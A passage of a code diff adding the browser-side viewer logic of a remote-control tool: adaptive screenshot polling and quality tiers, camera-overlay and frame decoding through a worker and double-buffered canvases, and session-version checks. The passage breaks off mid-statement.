464
+ let screenshotTimer = null;
465
+ /** Debounced faster screenshot after discrete input (click/key) — complements adaptive poll intervals. */
466
+ let interactionScreenshotKickTimer = null;
467
+ /** Matches bulk `fs_screenshot_sidecar_result` to the preceding main frame (`request_id`). */
468
+ let lastScreenshotMainRequestId = "";
469
+ /** Revoked when replacing camera overlay or disconnect (`blob:` URL for bulk sidecar JPEG). */
470
+ let lastCameraBlobUrl = "";
471
+ /** Prefer `blob:` over huge `data:` strings for camera JPEG/PNG (main thread + GC). */
472
+ function rcAssignCameraOverlayFromB64(camMime, b64Str) {
473
+ const camMimeStr = String(camMime || "image/png");
474
+ const rawB64 = String(b64Str || "").replace(/\s/g, "");
475
+ if (!rawB64) return;
476
+ try {
477
+ const bin = atob(rawB64);
478
+ const u8 = new Uint8Array(bin.length);
479
+ for (let i = 0; i < bin.length; i++) u8[i] = bin.charCodeAt(i);
480
+ const blob = new Blob([u8], { type: camMimeStr });
481
+ try {
482
+ if (lastCameraBlobUrl) {
483
+ URL.revokeObjectURL(lastCameraBlobUrl);
484
+ lastCameraBlobUrl = "";
485
+ }
486
+ } catch (eRev) {}
487
+ lastCameraBlobUrl = URL.createObjectURL(blob);
488
+ cameraOverlayEl.src = lastCameraBlobUrl;
489
+ } catch (eAtob) {
490
+ try {
491
+ if (lastCameraBlobUrl) {
492
+ URL.revokeObjectURL(lastCameraBlobUrl);
493
+ lastCameraBlobUrl = "";
494
+ }
495
+ } catch (eR2) {}
496
+ cameraOverlayEl.src = "data:" + camMimeStr + ";base64," + String(b64Str || "");
497
+ }
498
+ }
499
+ /** Pixel coords under pointer when context menu opened — drives “Right-click here (remote)”. */
500
+ let rcMenuAnchorPx = null;
501
+ let reqSeq = 0;
502
+ let inflightShot = false;
503
+ const pendingReqs = new Map();
504
+ let remoteClipboardBusy = false;
505
+ let remoteClipboardBusyAt = 0;
506
+ let lastRemoteCopyTriggerAt = 0;
507
+ let localClipboardBusy = false;
508
+ let localClipboardBusyAt = 0;
509
+ let immediatePasteReadInFlight = false;
510
+ let remoteClipboardCache = "";
511
+ let remoteClipboardCacheAt = 0;
512
+ let lastPasteEventAt = 0;
513
+ let pendingPasteShortcutAt = -1;
514
+ let remoteClipboardPollTimer = null;
515
+ let remoteClipboardFetchInFlight = false;
516
+ let lastRemotePasteTriggerAt = 0;
517
+ let lastRemotePasteText = "";
518
+ let remotePasteDispatchInFlight = false;
519
+ let pasteIntentSeq = 0;
520
+ let activePasteIntentId = 0;
521
+ let activePasteIntentConsumed = false;
522
+ let activePasteIntentStartedAt = 0;
523
+ let lastPasteDispatchSig = "";
524
+ let lastPasteDispatchAt = 0;
525
+ let lastBrowserPasteSig = "";
526
+ let lastBrowserPasteAt = 0;
527
+ let currentBrowsePath = "";
528
+ let reconnectTimer = null;
529
+ let pendingPasswordPrompt = null;
530
+ let hasFrame = false;
531
+ let authWatchdogTimer = null;
532
+ let authChallengeSeen = false;
533
+ let dragActive = false;
534
+ let pointerDown = false;
535
+ let pointerButton = "left";
536
+ let pointerDownPoint = null;
537
+ let lastPointerPoint = null;
538
+ let suppressClickUntil = 0;
539
+ let disablePressLifecycle = false;
540
+ let rcActionCaps = null;
541
+ const unsupportedActionNoticeAt = new Map();
542
+ let lastClickAt = 0;
543
+ let lastClickPoint = null;
544
+ let lastClickButton = "left";
545
+ let moveRaf = 0;
546
+ let pendingMovePoint = null;
547
+ let lastMoveSentAt = 0;
548
+ let resizeShotTimer = null;
549
+ let lastFrameMeta = null;
550
+ let sessionAgentVersion = "";
551
+ let sessionAgentOs = "";
552
+ /**
553
+ * Agents below this forge-jsxy semver skip WebRTC offers (relay WebSocket only — old builds).
554
+ * Injected at `npm run build` from package.json (`scripts/copy-assets.mjs`). Dev placeholder leaves probing enabled when version unknown.
555
+ */
556
+ var FORGE_AGENT_WEBRTC_MIN_VERSION = "__FORGE_AGENT_WEBRTC_MIN_VERSION__";
557
+ let cameraOverlayEnabled = false;
558
+ let cameraAvailable = null;
559
+ let cameraUnavailableWarned = false;
560
+ let lastShotStartedAt = 0;
561
+ let streamFastStreak = 0;
562
+ let streamSlowStreak = 0;
563
+ let streamTier = 0;
564
+ let qualityMode = "balanced";
565
+ let lastInteractionAt = 0;
566
+ let legacyShotMode = false;
567
+ let shotFailureStreak = 0;
568
+ let fpsFrames = 0;
569
+ let fpsLastAt = Date.now();
570
+ let fpsCurrent = 0;
571
+ let fpsLowStreak = 0;
572
+ let fpsHighStreak = 0;
573
+ let shotTimeoutTimer = null;
574
+ let lastFrameBytes = 0;
575
+ let lastCaptureMs = 0;
576
+ /** Coalesce `refreshStreamStats` to at most once per animation frame (tuning + JPEG decode can call it tightly). */
577
+ let streamStatsRaf = 0;
578
+ const STREAM_TUNING_PRESETS = {
579
+ /** Slightly lower tier-0 caps → faster encode + smaller frames when the adaptive tier is healthy. */
580
+ balanced: [
581
+ { maxBytes: 3_060_000, maxWidth: 2200 },
582
+ { maxBytes: 2_880_000, maxWidth: 2400 },
583
+ { maxBytes: 2_660_000, maxWidth: 2200 },
584
+ { maxBytes: 2_520_000, maxWidth: 2080 },
585
+ { maxBytes: 2_080_000, maxWidth: 1860 },
586
+ { maxBytes: 1_620_000, maxWidth: 1700 },
587
+ { maxBytes: 1_120_000, maxWidth: 1500 },
588
+ { maxBytes: 820_000, maxWidth: 1320 },
589
+ ],
590
+ text: [
591
+ { maxBytes: 5_000_000, maxWidth: 3200 },
592
+ { maxBytes: 4_300_000, maxWidth: 3000 },
593
+ { maxBytes: 3_700_000, maxWidth: 2800 },
594
+ { maxBytes: 3_200_000, maxWidth: 2560 },
595
+ { maxBytes: 2_700_000, maxWidth: 2360 },
596
+ ],
597
+ max: [
598
+ { maxBytes: 10_500_000, maxWidth: 0 },
599
+ { maxBytes: 9_000_000, maxWidth: 0 },
600
+ { maxBytes: 7_500_000, maxWidth: 3200 },
601
+ ],
602
+ };
603
+ function currentStreamTuning() {
604
+ return STREAM_TUNING_PRESETS[qualityMode] || STREAM_TUNING_PRESETS.text;
605
+ }
606
+ function refreshQualityBtnUi() {
607
+ if (!rcCtxQuality) return;
608
+ if (qualityMode === "max") {
609
+ rcCtxQuality.textContent = "Quality: Max";
610
+ rcCtxQuality.className = "rc-ctx-item warn";
611
+ } else if (qualityMode === "balanced") {
612
+ rcCtxQuality.textContent = "Quality: Balanced";
613
+ rcCtxQuality.className = "rc-ctx-item";
614
+ } else {
615
+ rcCtxQuality.textContent = "Quality: Text";
616
+ rcCtxQuality.className = "rc-ctx-item";
617
+ }
618
+ }
619
+ function rotateQualityMode() {
620
+ qualityMode = qualityMode === "balanced" ? "text" : (qualityMode === "text" ? "max" : "balanced");
621
+ const m = currentStreamTuning();
622
+ streamTier = Math.max(0, Math.min(m.length - 1, streamTier));
623
+ refreshQualityBtnUi();
624
+ refreshStreamStats();
625
+ requestScreenshot();
626
+ }
627
+ function markInteractionActive() {
628
+ lastInteractionAt = Date.now();
629
+ }
630
+ function isInteractionActive() {
631
+ return (Date.now() - lastInteractionAt) < 2000;
632
+ }
633
+
634
+ function setState(t) { stateEl.textContent = t; }
635
+ function refreshCameraBtnUi() {
636
+ if (!rcCtxCamera) return;
637
+ if (cameraAvailable === false) {
638
+ rcCtxCamera.textContent = "Camera: Unavailable";
639
+ rcCtxCamera.className = "rc-ctx-item";
640
+ cameraOverlayEl.style.display = "none";
641
+ return;
642
+ }
643
+ rcCtxCamera.textContent = cameraOverlayEnabled ? "Camera: On" : "Camera: Off";
644
+ rcCtxCamera.className = cameraOverlayEnabled ? "rc-ctx-item warn" : "rc-ctx-item";
645
+ if (!cameraOverlayEnabled || cameraAvailable === false) {
646
+ cameraOverlayEl.style.display = "none";
647
+ }
648
+ }
649
+ function kb(v) {
650
+ const n = Number.isFinite(Number(v)) ? Number(v) : 0;
651
+ if (n <= 0) return "-";
652
+ return Math.round(n / 1024) + "KB";
653
+ }
654
+ function refreshStreamStats() {
655
+ if (!streamStatsEl) return;
656
+ if (streamStatsRaf) return;
657
+ streamStatsRaf = requestAnimationFrame(() => {
658
+ streamStatsRaf = 0;
659
+ try {
660
+ if (!streamStatsEl) return;
661
+ const tuning = currentStreamTuning();
662
+ const prof = tuning[Math.max(0, Math.min(tuning.length - 1, streamTier))];
663
+ streamStatsEl.textContent =
664
+ "Q: " + qualityMode.toUpperCase() +
665
+ " · Tier: " + (streamTier + 1) + "/" + tuning.length +
666
+ " · Frame: " + kb(lastFrameBytes) +
667
+ " · Capture: " + (lastCaptureMs > 0 ? (Math.round(lastCaptureMs) + "ms") : "-") +
668
+ " · Cap: " + kb(prof.maxBytes);
669
+ } catch (eRs) {}
670
+ });
671
+ }
672
+ function tuneRemoteStreamProfile(latencyMs, captureMs, frameBytes, targetBytes) {
673
+ const tuning = currentStreamTuning();
674
+ const ms = Number.isFinite(Number(latencyMs)) ? Number(latencyMs) : 0;
675
+ const capMs = Number.isFinite(Number(captureMs)) ? Number(captureMs) : 0;
676
+ const fb = Number.isFinite(Number(frameBytes)) ? Number(frameBytes) : 0;
677
+ const tb = Number.isFinite(Number(targetBytes)) ? Number(targetBytes) : 0;
678
+ const interacting = isInteractionActive();
679
+ const minFps = qualityMode === "max" ? 1.0 : 4.2;
680
+ if (fpsCurrent > 0 && fpsCurrent < minFps) {
681
+ fpsLowStreak += 1;
682
+ fpsHighStreak = 0;
683
+ if (fpsLowStreak >= (interacting ? 2 : 5) && streamTier < tuning.length - 1) {
684
+ streamTier += 1;
685
+ fpsLowStreak = 0;
686
+ }
687
+ } else if (fpsCurrent >= (qualityMode === "max" ? 1.6 : 4.5)) {
688
+ fpsHighStreak += 1;
689
+ fpsLowStreak = 0;
690
+ if (fpsHighStreak >= (interacting ? 5 : 3) && streamTier > 0) {
691
+ streamTier -= 1;
692
+ fpsHighStreak = 0;
693
+ }
694
+ } else {
695
+ fpsLowStreak = 0;
696
+ fpsHighStreak = 0;
697
+ }
698
+ const overload =
699
+ ms > (interacting ? 328 : 478) ||
700
+ capMs > (interacting ? 352 : 518) ||
701
+ (tb > 0 && fb > tb * (interacting ? 0.988 : 1.036));
702
+ if (overload) {
703
+ streamSlowStreak += 1;
704
+ streamFastStreak = 0;
705
+ if (streamSlowStreak >= (interacting ? 2 : 4) && streamTier < tuning.length - 1) {
706
+ streamTier += 1;
707
+ streamSlowStreak = 0;
708
+ }
709
+ return;
710
+ }
711
+ const healthy =
712
+ ms > 0 &&
713
+ ms < (interacting ? 268 : 342) &&
714
+ (capMs <= 0 || capMs < (interacting ? 232 : 282)) &&
715
+ (tb <= 0 || fb <= tb * (interacting ? 0.86 : 0.89));
716
+ if (healthy) {
717
+ streamFastStreak += 1;
718
+ streamSlowStreak = 0;
719
+ if (streamFastStreak >= (interacting ? 4 : 3) && streamTier > 0) {
720
+ streamTier -= 1;
721
+ streamFastStreak = 0;
722
+ }
723
+ return;
724
+ }
725
+ streamFastStreak = 0;
726
+ streamSlowStreak = 0;
727
+ }
728
+ function markFrameForFps() {
729
+ fpsFrames += 1;
730
+ const now = Date.now();
731
+ const dt = now - fpsLastAt;
732
+ if (dt < 520) return;
733
+ const fps = (fpsFrames * 1000) / Math.max(1, dt);
734
+ fpsCurrent = fps;
735
+ fpsStateEl.textContent = "FPS: " + fps.toFixed(1);
736
+ fpsFrames = 0;
737
+ fpsLastAt = now;
738
+ }
739
+ /**
740
+ * Max long edge (px) for `createImageBitmap` decode on the viewer — matches ~on-screen size so 4K frames
741
+ * do not decode/paint at full resolution when the stage is smaller (saves main thread + GPU).
742
+ */
743
+ function rcDecodeMaxEdgePx() {
744
+ if (qualityMode === "max") return 16384;
745
+ const hardCap = qualityMode === "text" ? 2048 : 2560;
746
+ try {
747
+ const stage = document.querySelector(".screen-stage");
748
+ const dpr = Math.min(2.25, window.devicePixelRatio || 1);
749
+ if (stage && stage.clientWidth > 16 && stage.clientHeight > 16) {
750
+ const edge = Math.floor(Math.max(stage.clientWidth, stage.clientHeight) * dpr * 1.08);
751
+ return Math.max(960, Math.min(hardCap, edge));
752
+ }
753
+ } catch (eCap) {}
754
+ return Math.min(hardCap, 2140);
755
+ }
756
+ /** Invalidates in-flight decodes on disconnect / reconnect. */
757
+ let rcDecodeGeneration = 0;
758
+ /** Only one JPEG/PNG decode at a time; newer frames replace `rcPendingShot` so we always paint latest without token races. */
759
+ let rcDecodeRunning = false;
760
+ let rcPendingShot = null;
761
+ /** Off-main-thread `createImageBitmap` (ImageBitmap transferred back) when `Worker` + `createImageBitmap` exist. */
762
+ let rcDecodeWorker = null;
763
+ let rcDecodeWorkerDisabled = false;
764
+ let rcDecodeWorkerJobId = 0;
765
+ let rcDecodeWorkerInflight = null;
766
+ const RC_DECODE_WORKER_SOURCE =
767
+ "self.onmessage=async function(e){var d=e.data||{},i=d.id,b=d.blob,o=d.opts||{};try{if(!b){self.postMessage({id:i,ok:0});return;}var m=await self.createImageBitmap(b,o);self.postMessage({id:i,ok:1,bmp:m},[m]);}catch(x){try{self.postMessage({id:i,ok:0});}catch(y){}}};";
768
+ function rcTerminateDecodeWorker() {
769
+ rcDecodeWorkerInflight = null;
770
+ if (rcDecodeWorker) {
771
+ try {
772
+ rcDecodeWorker.terminate();
773
+ } catch (eTerm) {}
774
+ rcDecodeWorker = null;
775
+ }
776
+ }
777
+ function rcEnsureDecodeWorker() {
778
+ if (rcDecodeWorkerDisabled) return null;
779
+ if (rcDecodeWorker) return rcDecodeWorker;
780
+ if (typeof Worker === "undefined" || typeof createImageBitmap === "undefined") {
781
+ rcDecodeWorkerDisabled = true;
782
+ return null;
783
+ }
784
+ try {
785
+ const url = URL.createObjectURL(new Blob([RC_DECODE_WORKER_SOURCE], { type: "text/javascript" }));
786
+ const w = new Worker(url);
787
+ URL.revokeObjectURL(url);
788
+ w.onmessage = function (ev) {
789
+ const d = ev.data || {};
790
+ const infl = rcDecodeWorkerInflight;
791
+ rcDecodeWorkerInflight = null;
792
+ const bmp = d.bmp;
793
+ if (!infl || d.id !== infl.id) {
794
+ if (bmp)
795
+ try {
796
+ bmp.close();
797
+ } catch (eBm) {}
798
+ return;
799
+ }
800
+ if (infl.gen !== rcDecodeGeneration) {
801
+ if (bmp)
802
+ try {
803
+ bmp.close();
804
+ } catch (eBm2) {}
805
+ infl.continueMain();
806
+ return;
807
+ }
808
+ if (d.ok && bmp) infl.paintBitmapToBackThenSwap(bmp);
809
+ else infl.continueMain();
810
+ };
811
+ w.onerror = function () {
812
+ rcDecodeWorkerDisabled = true;
813
+ const infl = rcDecodeWorkerInflight;
814
+ rcDecodeWorkerInflight = null;
815
+ rcDecodeWorker = null;
816
+ if (infl) infl.continueMain();
817
+ };
818
+ rcDecodeWorker = w;
819
+ } catch (eWrk) {
820
+ rcDecodeWorkerDisabled = true;
821
+ rcDecodeWorker = null;
822
+ }
823
+ return rcDecodeWorker;
824
+ }
825
+ function rcTeardownScreenLayers() {
826
+ rcDecodeGeneration += 1;
827
+ rcPendingShot = null;
828
+ rcDecodeRunning = false;
829
+ rcTerminateDecodeWorker();
830
+ for (const c of [rcCanvasA, rcCanvasB]) {
831
+ try {
832
+ c.width = 1;
833
+ c.height = 1;
834
+ } catch (eTd) {}
835
+ }
836
+ rcCanvasFront = rcCanvasA;
837
+ rcCanvasBack = rcCanvasB;
838
+ rcDispEl = rcCanvasFront;
839
+ rcSyncCanvasStack();
840
+ }
841
+ function rcSwapCanvasBuffersAfterBackPaint() {
842
+ const tmp = rcCanvasFront;
843
+ rcCanvasFront = rcCanvasBack;
844
+ rcCanvasBack = tmp;
845
+ rcDispEl = rcCanvasFront;
846
+ rcSyncCanvasStack();
847
+ }
848
+ /** Defer z-order swap to the next frame so the GPU has applied `drawImage` before the buffer is brought forward (avoids brief black frames on some browsers). */
849
+ function rcSwapCanvasBuffersAfterBackPaintRaf(gen, done) {
850
+ requestAnimationFrame(() => {
851
+ if (gen !== rcDecodeGeneration) {
852
+ done();
853
+ return;
854
+ }
855
+ rcSwapCanvasBuffersAfterBackPaint();
856
+ done();
857
+ });
858
+ }
859
+ /**
860
+ * Double-buffered canvases: draw only on the hidden back buffer, then swap.
861
+ * Prefer ImageBitmapRenderingContext.transferFromImageBitmap when available (single GPU handoff vs 2D drawImage).
862
+ * Decode queue: one in-flight `createImageBitmap`; supersede pending payload instead of bumping a token (avoids all decodes cancelling each other → black flashes).
863
+ */
864
+ function assignRcScreenshotToScreenEl(mime, b64, srcW, srcH) {
865
+ const w = Number.isFinite(Number(srcW)) ? Math.max(0, Math.floor(Number(srcW))) : 0;
866
+ const h = Number.isFinite(Number(srcH)) ? Math.max(0, Math.floor(Number(srcH))) : 0;
867
+ rcPendingShot = { mime: String(mime || "image/png"), b64: String(b64 || ""), srcW: w, srcH: h };
868
+ rcPumpDecodeQueue();
869
+ }
870
+ /** `forge-bulk` path: skip main-thread `btoa` / data-URL work — decode JPEG/PNG from raw bytes. */
871
+ function assignRcScreenshotFromU8(mime, u8, srcW, srcH) {
872
+ const mimeStr = String(mime || "image/png");
873
+ const w = Number.isFinite(Number(srcW)) ? Math.max(0, Math.floor(Number(srcW))) : 0;
874
+ const h = Number.isFinite(Number(srcH)) ? Math.max(0, Math.floor(Number(srcH))) : 0;
875
+ try {
876
+ const buf = u8 instanceof Uint8Array ? u8 : new Uint8Array(u8);
877
+ if (!buf || !buf.byteLength) {
878
+ assignRcScreenshotToScreenEl(mimeStr, "", w, h);
879
+ return;
880
+ }
881
+ rcPendingShot = { mime: mimeStr, blob: new Blob([buf], { type: mimeStr }), srcW: w, srcH: h };
882
+ } catch (eU8) {
883
+ try {
884
+ rcPendingShot = {
885
+ mime: mimeStr,
886
+ b64: forgeBulkRcBytesToB64(u8 instanceof Uint8Array ? u8 : new Uint8Array(u8)),
887
+ srcW: w,
888
+ srcH: h,
889
+ };
890
+ } catch (eB64) {
891
+ rcPendingShot = { mime: mimeStr, b64: "", srcW: w, srcH: h };
892
+ }
893
+ }
894
+ rcPumpDecodeQueue();
895
+ }
896
+ function rcPumpDecodeQueue() {
897
+ if (rcDecodeRunning) return;
898
+ if (!rcPendingShot) return;
899
+ const job = rcPendingShot;
900
+ rcPendingShot = null;
901
+ const gen = rcDecodeGeneration;
902
+ rcDecodeRunning = true;
903
+
904
+ function abortEarlyDecode() {
905
+ rcDecodeRunning = false;
906
+ if (rcPendingShot) rcPumpDecodeQueue();
907
+ }
908
+
909
+ function runDecodeFromBlob(blob) {
910
+ function afterPaintOrAbort() {
911
+ rcDecodeRunning = false;
912
+ if (rcPendingShot) rcPumpDecodeQueue();
913
+ }
914
+
915
+ function paintBitmapToBackThenSwap(bmp) {
916
+ if (gen !== rcDecodeGeneration) {
917
+ try {
918
+ bmp.close();
919
+ } catch (eC) {}
920
+ afterPaintOrAbort();
921
+ return;
922
+ }
923
+ const w = bmp.width;
924
+ const h = bmp.height;
925
+ if (!w || !h) {
926
+ try {
927
+ bmp.close();
928
+ } catch (eC2) {}
929
+ afterPaintOrAbort();
930
+ return;
931
+ }
932
+ const back = rcCanvasBack;
933
+ let paintedOk = false;
934
+ let usedBrTransfer = false;
935
+ try {
936
+ const br = back.getContext("bitmaprenderer");
937
+ if (br && typeof br.transferFromImageBitmap === "function") {
938
+ if (back.width !== w || back.height !== h) {
939
+ back.width = w;
940
+ back.height = h;
941
+ }
942
+ br.transferFromImageBitmap(bmp);
943
+ paintedOk = true;
944
+ usedBrTransfer = true;
945
+ }
946
+ } catch (eBr) {
947
+ try {
948
+ bmp.close();
949
+ } catch (eBc) {}
950
+ afterPaintOrAbort();
951
+ return;
952
+ }
953
+ if (!paintedOk) {
954
+ const ctx = back.getContext("2d", { alpha: false });
955
+ if (!ctx) {
956
+ try {
957
+ bmp.close();
958
+ } catch (eC3) {}
959
+ afterPaintOrAbort();
960
+ return;
961
+ }
962
+ if (back.width !== w || back.height !== h) {
963
+ back.width = w;
964
+ back.height = h;
965
+ }
966
+ try {
967
+ ctx.drawImage(bmp, 0, 0);
968
+ paintedOk = true;
969
+ } catch (eDr) {
970
+ /* ignore */
971
+ }
972
+ try {
973
+ bmp.close();
974
+ } catch (eC4) {}
975
+ }
976
+ if (gen !== rcDecodeGeneration) {
977
+ afterPaintOrAbort();
978
+ return;
979
+ }
980
+ if (!paintedOk) {
981
+ afterPaintOrAbort();
982
+ return;
983
+ }
984
+ const syncSwap =
985
+ usedBrTransfer &&
986
+ typeof document !== "undefined" &&
987
+ document.visibilityState === "visible";
988
+ if (syncSwap) {
989
+ rcSwapCanvasBuffersAfterBackPaint();
990
+ afterPaintOrAbort();
991
+ } else {
992
+ rcSwapCanvasBuffersAfterBackPaintRaf(gen, afterPaintOrAbort);
993
+ }
994
+ }
995
+
996
+ function paintImageUrlToBackThenSwap(url) {
997
+ const im = new Image();
998
+ im.onload = () => {
999
+ if (gen !== rcDecodeGeneration) {
1000
+ try {
1001
+ URL.revokeObjectURL(url);
1002
+ } catch (eR) {}
1003
+ afterPaintOrAbort();
1004
+ return;
1005
+ }
1006
+ const w = im.naturalWidth;
1007
+ const h = im.naturalHeight;
1008
+ function finishBlobUrl() {
1009
+ try {
1010
+ URL.revokeObjectURL(url);
1011
+ } catch (eR2) {}
1012
+ afterPaintOrAbort();
1013
+ }
1014
+ if (w && h) {
1015
+ const back = rcCanvasBack;
1016
+ const ctx = back.getContext("2d", { alpha: false });
1017
+ if (ctx) {
1018
+ if (back.width !== w || back.height !== h) {
1019
+ back.width = w;
1020
+ back.height = h;
1021
+ }
1022
+ let paintedOk = false;
1023
+ try {
1024
+ ctx.drawImage(im, 0, 0);
1025
+ paintedOk = true;
1026
+ } catch (eD2) {
1027
+ /* ignore */
1028
+ }
1029
+ if (gen === rcDecodeGeneration && paintedOk) {
1030
+ rcSwapCanvasBuffersAfterBackPaintRaf(gen, finishBlobUrl);
1031
+ return;
1032
+ }
1033
+ }
1034
+ }
1035
+ finishBlobUrl();
1036
+ };
1037
+ im.onerror = () => {
1038
+ try {
1039
+ URL.revokeObjectURL(url);
1040
+ } catch (eR3) {}
1041
+ afterPaintOrAbort();
1042
+ };
1043
+ im.src = url;
1044
+ }
1045
+
1046
+ function rcBitmapDecodeOpts() {
1047
+ const o = {
1048
+ imageOrientation: "none",
1049
+ premultiplyAlpha: "none",
1050
+ colorSpaceConversion: "none",
1051
+ };
1052
+ const sw = Number(job.srcW) | 0;
1053
+ const sh = Number(job.srcH) | 0;
1054
+ if (sw <= 1 || sh <= 1) return o;
1055
+ const cap = rcDecodeMaxEdgePx();
1056
+ const m = Math.max(sw, sh);
1057
+ if (m <= cap) return o;
1058
+ const scale = cap / m;
1059
+ o.resizeWidth = Math.max(1, Math.round(sw * scale));
1060
+ o.resizeHeight = Math.max(1, Math.round(sh * scale));
1061
+ o.resizeQuality = qualityMode === "max" ? "high" : "low";
1062
+ return o;
1063
+ }
1064
+
1065
+ const optsTry = rcBitmapDecodeOpts();
1066
+ const optsPlain = {
1067
+ imageOrientation: "none",
1068
+ premultiplyAlpha: "none",
1069
+ colorSpaceConversion: "none",
1070
+ };
1071
+
1072
+ function mainThreadDecode(useResizeOpts) {
1073
+ if (typeof createImageBitmap !== "function") {
1074
+ try {
1075
+ paintImageUrlToBackThenSwap(URL.createObjectURL(blob));
1076
+ } catch (ePu2) {
1077
+ afterPaintOrAbort();
1078
+ }
1079
+ return;
1080
+ }
1081
+ const firstOpts = useResizeOpts ? optsTry : optsPlain;
1082
+ let bmpPromise;
1083
+ try {
1084
+ bmpPromise = createImageBitmap(blob, firstOpts);
1085
+ } catch (eFast) {
1086
+ try {
1087
+ bmpPromise = createImageBitmap(blob, optsPlain);
1088
+ } catch (eFast2) {
1089
+ bmpPromise = createImageBitmap(blob);
1090
+ }
1091
+ }
1092
+ bmpPromise
1093
+ .then((bmp) => paintBitmapToBackThenSwap(bmp))
1094
+ .catch(() => {
1095
+ if (gen !== rcDecodeGeneration) {
1096
+ afterPaintOrAbort();
1097
+ return;
1098
+ }
1099
+ if (useResizeOpts) {
1100
+ mainThreadDecode(false);
1101
+ return;
1102
+ }
1103
+ createImageBitmap(blob, optsPlain)
1104
+ .then((bmp2) => paintBitmapToBackThenSwap(bmp2))
1105
+ .catch(() => {
1106
+ if (gen !== rcDecodeGeneration) {
1107
+ afterPaintOrAbort();
1108
+ return;
1109
+ }
1110
+ try {
1111
+ paintImageUrlToBackThenSwap(URL.createObjectURL(blob));
1112
+ } catch (ePu) {
1113
+ afterPaintOrAbort();
1114
+ }
1115
+ });
1116
+ });
1117
+ }
1118
+
1119
+ function tryDecodeWorker() {
1120
+ const w = rcEnsureDecodeWorker();
1121
+ if (!w) return false;
1122
+ const id = ++rcDecodeWorkerJobId;
1123
+ rcDecodeWorkerInflight = {
1124
+ id,
1125
+ gen,
1126
+ paintBitmapToBackThenSwap,
1127
+ continueMain: () => mainThreadDecode(true),
1128
+ };
1129
+ try {
1130
+ w.postMessage({ id, blob, opts: optsTry });
1131
+ return true;
1132
+ } catch (ePost) {
1133
+ rcDecodeWorkerInflight = null;
1134
+ return false;
1135
+ }
1136
+ }
1137
+
1138
+ if (tryDecodeWorker()) return;
1139
+ mainThreadDecode(true);
1140
+ }
1141
+
1142
+ function syncFallbackBlob() {
1143
+ let u8;
1144
+ try {
1145
+ const binStr = atob(job.b64);
1146
+ try {
1147
+ u8 = Uint8Array.from(binStr, (ch) => ch.charCodeAt(0));
1148
+ } catch (eFrom) {
1149
+ const len = binStr.length;
1150
+ u8 = new Uint8Array(len);
1151
+ for (let i = 0; i < len; i++) u8[i] = binStr.charCodeAt(i);
1152
+ }
1153
+ } catch (eAtob) {
1154
+ abortEarlyDecode();
1155
+ return;
1156
+ }
1157
+ runDecodeFromBlob(new Blob([u8], { type: job.mime }));
1158
+ }
1159
+
1160
+ if (job.blob instanceof Blob) {
1161
+ runDecodeFromBlob(job.blob);
1162
+ return;
1163
+ }
1164
+
1165
+ if (String(job.b64 || "").length) {
1166
+ syncFallbackBlob();
1167
+ return;
1168
+ }
1169
+
1170
+ abortEarlyDecode();
1171
+ }
1172
+ /**
1173
+ * When the remote-control tab is in the background, poll screenshots less often (Page Visibility API).
1174
+ * Frees relay/agent CPU and bandwidth; P2P input keeps working while the tab is visible enough for events.
1175
+ * @see https://developer.mozilla.org/en-US/docs/Web/API/Page_Visibility_API
1176
+ */
1177
+ function remoteTabScreenshotThrottleFactor() {
1178
+ try {
1179
+ if (typeof document !== "undefined" && document.hidden) return 1.92;
1180
+ } catch (e) {}
1181
+ return 1;
1182
+ }
1183
+ function currentShotIntervalMs() {
1184
+ const interacting = isInteractionActive();
1185
+ const tuning = currentStreamTuning();
1186
+ const idx = Math.max(0, Math.min(tuning.length - 1, streamTier));
1187
+ // Lower ms ⇒ faster screenshot polling when the adaptive tier allows it.
1188
+ const mapBalancedActive = [54, 64, 76, 94, 118, 144, 182, 240];
1189
+ const mapBalancedIdle = [100, 118, 140, 168, 202, 244, 294, 358];
1190
+ const mapTextActive = [150, 178, 210, 250, 312];
1191
+ const mapTextIdle = [260, 308, 366, 446, 534];
1192
+ // Max-quality mode stays readability-first but ticks slightly faster when healthy.
1193
+ const mapMaxActive = [480, 558, 642];
1194
+ const mapMaxIdle = [558, 652, 762];
1195
+ let ms;
1196
+ if (qualityMode === "max") ms = (interacting ? mapMaxActive : mapMaxIdle)[idx];
1197
+ else if (qualityMode === "balanced") ms = (interacting ? mapBalancedActive : mapBalancedIdle)[idx];
1198
+ else ms = (interacting ? mapTextActive : mapTextIdle)[idx];
1199
+ ms = Math.floor(ms * remoteTabScreenshotThrottleFactor());
1200
+ /** Chunked `forge-bulk` skips relay JSON for frames — edge slightly faster without starving capture. */
1201
+ try {
1202
+ if (forgeRtcDcBulk && forgeRtcDcBulk.readyState === "open") {
1203
+ ms = Math.floor(ms * 0.7);
1204
+ }
1205
+ } catch (eBulkIv) {}
1206
+ return Math.min(9200, Math.max(28, ms));
1207
+ }
1208
+ function clearShotTimeout() {
1209
+ if (shotTimeoutTimer) {
1210
+ clearTimeout(shotTimeoutTimer);
1211
+ shotTimeoutTimer = null;
1212
+ }
1213
+ }
1214
+ function armShotTimeout() {
1215
+ clearShotTimeout();
1216
+ const t = qualityMode === "max" ? 6500 : 3000;
1217
+ shotTimeoutTimer = setTimeout(() => {
1218
+ shotTimeoutTimer = null;
1219
+ if (!viewerAgentTransportReady() || !authed) return;
1220
+ inflightShot = false;
1221
+ const bump = qualityMode === "max" ? 80 : 52;
1222
+ scheduleNextShot(currentShotIntervalMs() + bump);
1223
+ }, t);
1224
+ }
1225
+ function parseVersion(v) {
1226
+ return String(v || "")
1227
+ .split(".")
1228
+ .map((n) => Number.parseInt(n, 10))
1229
+ .filter((n) => Number.isFinite(n));
1230
+ }
1231
+ function versionLt(a, b) {
1232
+ const av = parseVersion(a);
1233
+ const bv = parseVersion(b);
1234
+ const n = Math.max(av.length, bv.length);
1235
+ for (let i = 0; i < n; i++) {
1236
+ const ai = av[i] || 0;
1237
+ const bi = bv[i] || 0;
1238
+ if (ai < bi) return true;
1239
+ if (ai > bi) return false;
1240
+ }
1241
+ return false;
1242
+ }
1243
+ async function refreshSessionAgentMeta(sid) {
1244
+ try {
1245
+ const r = await fetch("/api/sessions", { cache: "no-store" });
1246
+ if (!r.ok) return;
1247
+ const j = await r.json();
1248
+ const list = Array.isArray(j && j.sessions) ? j.sessions : [];
1249
+ const row = list.find((it) => String(it && it.session_id || "") === sid);
1250
+ if (!row) return;
1251
+ sessionAgentVersion = String(row.agent_version || "").trim();
1252
+ sessionAgentOs = String(row.agent_os || "").trim().toLowerCase();
1253
+ refreshWriteModeEligibilityUi();
1254
+ if (sessionAgentVersion && versionLt(sessionAgentVersion, "1.0.71")) {
1255
